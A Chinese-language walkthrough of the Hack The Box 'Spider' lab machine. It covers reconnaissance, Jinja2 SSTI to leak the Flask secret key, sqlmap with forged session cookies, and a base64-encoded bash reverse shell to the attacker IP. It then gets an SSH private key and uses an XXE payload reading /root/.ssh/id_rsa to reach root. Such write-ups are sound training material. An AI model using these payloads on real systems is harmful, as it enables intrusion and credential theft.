Hackthebox - Spider

靶场信息

靶场类型

信息搜集

使用nmap进行端口扫描

nmap -A -sS -sV -sC 10.10.10.243

我们可以看到,存在22和80端口,咱们访问一下80端口

会被重定向到spider.htb,咱们先把它加入hosts文件吧

echo 10.10.10.243 spider.htb > /etc/hosts

再访问可以发现是一个家具页面,咱们做一下信息搜集

gobuster dir -u http://spider.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 50
/cart (Status: 500) \[Size: 290\]
/checkout (Status: 500) \[Size: 290\]
/index (Status: 200) \[Size: 11273\]
/login (Status: 200) \[Size: 1832\]
/logout (Status: 302) \[Size: 209\] \[--> http://spider.htb/\]
/main (Status: 302) \[Size: 219\] \[--> http://spider.htb/login\]
/register (Status: 200) \[Size: 2130\]
/user (Status: 302) \[Size: 219\] \[--> http://spider.htb/login\]
/view (Status: 302) \[Size: 219\] \[--> [http://spider.htb/login](http://spider.htb/login)\]

我们可以看到,能访问的只有注册页面和登录页面,咱们先去看看注册页面

咱们注册一个用户

7443d68c-02b2-428c-b622-af15604cd905

咱们得到了一段UUID,使用密码登录试试

登录后似乎也只有这个页面可以点击,咱们再多看看

在做信息搜集的时候,突然醒悟过来,这会不会是个SSTI?咱们测试一下

咱们测试一下

登陆后查看一下我们的账户信息

好家伙,确实是

这里可以进行SSTI攻击,那么意味着服务器正在运行Jinja2或者Flask,这里是Flask

漏洞利用

这里我们查看一下config信息,注册一个用户

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE\_EXCEPTIONS': None, 'PRESERVE\_CONTEXT\_ON\_EXCEPTION': None, 'SECRET\_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT\_SESSION\_LIFETIME': datetime.timedelta(31), 'USE\_X\_SENDFILE': False, 'SERVER\_NAME': None, 'APPLICATION\_ROOT': '/', 'SESSION\_COOKIE\_NAME': 'session', 'SESSION\_COOKIE\_DOMAIN': False, 'SESSION\_COOKIE\_PATH': None, 'SESSION\_COOKIE\_HTTPONLY': True, 'SESSION\_COOKIE\_SECURE': False, 'SESSION\_COOKIE\_SAMESITE': None, 'SESSION\_REFRESH\_EACH\_REQUEST': True, 'MAX\_CONTENT\_LENGTH': None, 'SEND\_FILE\_MAX\_AGE\_DEFAULT': datetime.timedelta(0, 43200), 'TRAP\_BAD\_REQUEST\_ERRORS': None, 'TRAP\_HTTP\_EXCEPTIONS': False, 'EXPLAIN\_TEMPLATE\_LOADING': False, 'PREFERRED\_URL\_SCHEME': 'http', 'JSON\_AS\_ASCII': True, 'JSON\_SORT\_KEYS': True, 'JSONIFY\_PRETTYPRINT\_REGULAR': False, 'JSONIFY\_MIMETYPE': 'application/json', 'TEMPLATES\_AUTO\_RELOAD': None, 'MAX\_COOKIE\_SIZE': 4093, 'RATELIMIT\_ENABLED': True, 'RATELIMIT\_DEFAULTS\_PER\_METHOD': False, 'RATELIMIT\_SWALLOW\_ERRORS': False, 'RATELIMIT\_HEADERS\_ENABLED': False, 'RATELIMIT\_STORAGE\_URL': 'memory://', 'RATELIMIT\_STRATEGY': 'fixed-window', 'RATELIMIT\_HEADER\_RESET': 'X-RateLimit-Reset', 'RATELIMIT\_HEADER\_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT\_HEADER\_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT\_HEADER\_RETRY\_AFTER': 'Retry-After', 'UPLOAD\_FOLDER': 'static/uploads'}>

我们得到了相关的配置信息

我们筛选一下其中的关键信息

secret\_key = Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942

首先安装一下咱们需要的模块

pip3 install flask_unsign

然后咱们使用sqlmap的eval处理session参数

sqlmap http://spider.htb/ --eval "from flask\_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=\*" --delay 1 --dump

第一个选项输入Y,后面的都输入N

成功得到uuid和password

uuid = 129f60ea-30cf-4065-afb9-6be45ad38b73
password = ch1VW4sHERE7331

咱们去登录

啊哈,这次出现不一样的界面了

让我们去检查一下messages

/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

咱们得到了一个链接,去访问一下

http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

首先让我们构造payload

bash -c 'exec bash -i &>/dev/tcp/10.10.14.54/4444 <&1'

然后转化为base64格式

YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuNTQvNDQ0NCA8JjEn

然后构造poc

{% with a = request\["application"\]\["\\x5f\\x5fglobals\\x5f\\x5f"\]\["\\x5f\\x5fbuiltins\\x5f\\x5f"\]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["popen"]("echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTQuNTQvNDQ0NCA8JjEn | base64 -d | bash")\["read"\]() %} a {% endwith %}

然后本地监听一个端口

nc -nvlp 4444

成功getshell

成功拿到user权限的flag

权限提升

我们可以看到/home/chiv目录下存在.ssh目录,那应该是存在密钥的,咱们进去看看

成功拿到私钥

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAOQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwdo/zrgxGdcOa7zq6zlnwYlY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGbEXcIW9oowFXD2ufo2WPXym0QIDAQABAoIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTQDkgubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhfAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAyQU4NIsKNnewIrq
54dWOw8lwOXp2ndmo3FdOfjm1SMNYtB5yvPR9enbu3wkX94fC/NS9OqLLMzZfYFy
f0EMoUECgYEAxuNi/9sNNJ6UaTlZTsn6Z8X/i4AKVFgUGw4sYzswWPC4oJTDDB62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0UOJ1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaNOyJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fmOO1+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K1Oc0/hDtSSHSwI/PSN4C2DVyOahrDcPkArfOmBF1ozcR9OBAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqwL2EYaOtH4+4OgkJ
mQRXp5yVQklBOtq5E55IrphKdNxLg6T8fR30IAKISDlJv3RwkZn1Kgcu8dOl/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScirRqqzINwmS+BD+80hyOo3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLpWSEsD05L09yO
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----

保存到本地

使用ssh进行登录

登录成功

查看一下正在运行的端口

ss -tupln

咱们发现本地运行着8080端口

咱们需要把端口转发出来

ssh -i id\_chiv -L 8080:localhost:8080 chiv@spider.htb

然后咱们打开firefox进行访问http://127.0.0.1:8080/

端口转发成功

这边随便一个账户都可以登录

咱们查看一下cookie,这里cookie需要解密

.eJw1jE1PwyAAhv-K4eyB1u3SZJcKtHZChfLRcbNhCa3Q1clhbtl\_d9N4fPM8z3sB4RQDKC7gYQAFUJgRh0-SfzRamDTrmJm9od9Dbcd3RVayWkqnMsR7QTUSrwr7rYsvZ9UldONzp1jZkqUWU2nv\_L4tDIgb13CIV5b4dqhYYsaPOlNHqUWzDyVqJZlosOtdzCpHFsVwuvl\_f7-99N7gdTTada4iPXtOTNQu32nf2hB6NQuvz\_zI8\_DvUxqag8WObCH7dE92GmTILebwjW824PoIlsM4py9QwOsPiZ9VQg.YMsGpQ.L71-NNdbcE09uMjZzZWHHG-Zytw

使用flask-unsign进行解码

flask-unsign --decode --cookie .eJw1jE1PwyAAhv-K4eyB1u3SZJcKtHZChfLRcbNhCa3Q1clhbtl\_d9N4fPM8z3sB4RQDKC7gYQAFUJgRh0-SfzRamDTrmJm9od9Dbcd3RVayWkqnMsR7QTUSrwr7rYsvZ9UldONzp1jZkqUWU2nv\_L4tDIgb13CIV5b4dqhYYsaPOlNHqUWzDyVqJZlosOtdzCpHFsVwuvl\_f7-99N7gdTTada4iPXtOTNQu32nf2hB6NQuvz\_zI8\_DvUxqag8WObCH7dE92GmTILebwjW824PoIlsM4py9QwOsPiZ9VQg.YMsGpQ.L71-NNdbcE09uMjZzZWHHG-Zytw

返回了一段base64码

{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+MTIzPC91c2VybmFtZT4KICAgICAgICA8aXNfYWRtaW4+MDwvaXNfYWRtaW4+CiAgICA8L2RhdGE+Cjwvcm9vdD4=', 'points': 0}

咱们解密一下

咱们查看源代码

我们在登录页面的源代码中可以看到有一个hidden值,所以咱们可以利用XXE攻击

参考链接

https://github.com/LucifielHack/PayloadsAllTheThings/tree/master/XXE%20Injection

咱们构造一个poc

username=%26username%3b&version=1.0.0--><!DOCTYPE+foo+\[<!ENTITY+username+SYSTEM+"/root/.ssh/id\_rsa">+\]><!--

然后使用burp抓个包

然后咱们加入构造的poc

成功获得root用户的密钥

咱们保存到本地 使用密钥进行登录

成功登录root权限

成功拿到root权限的flag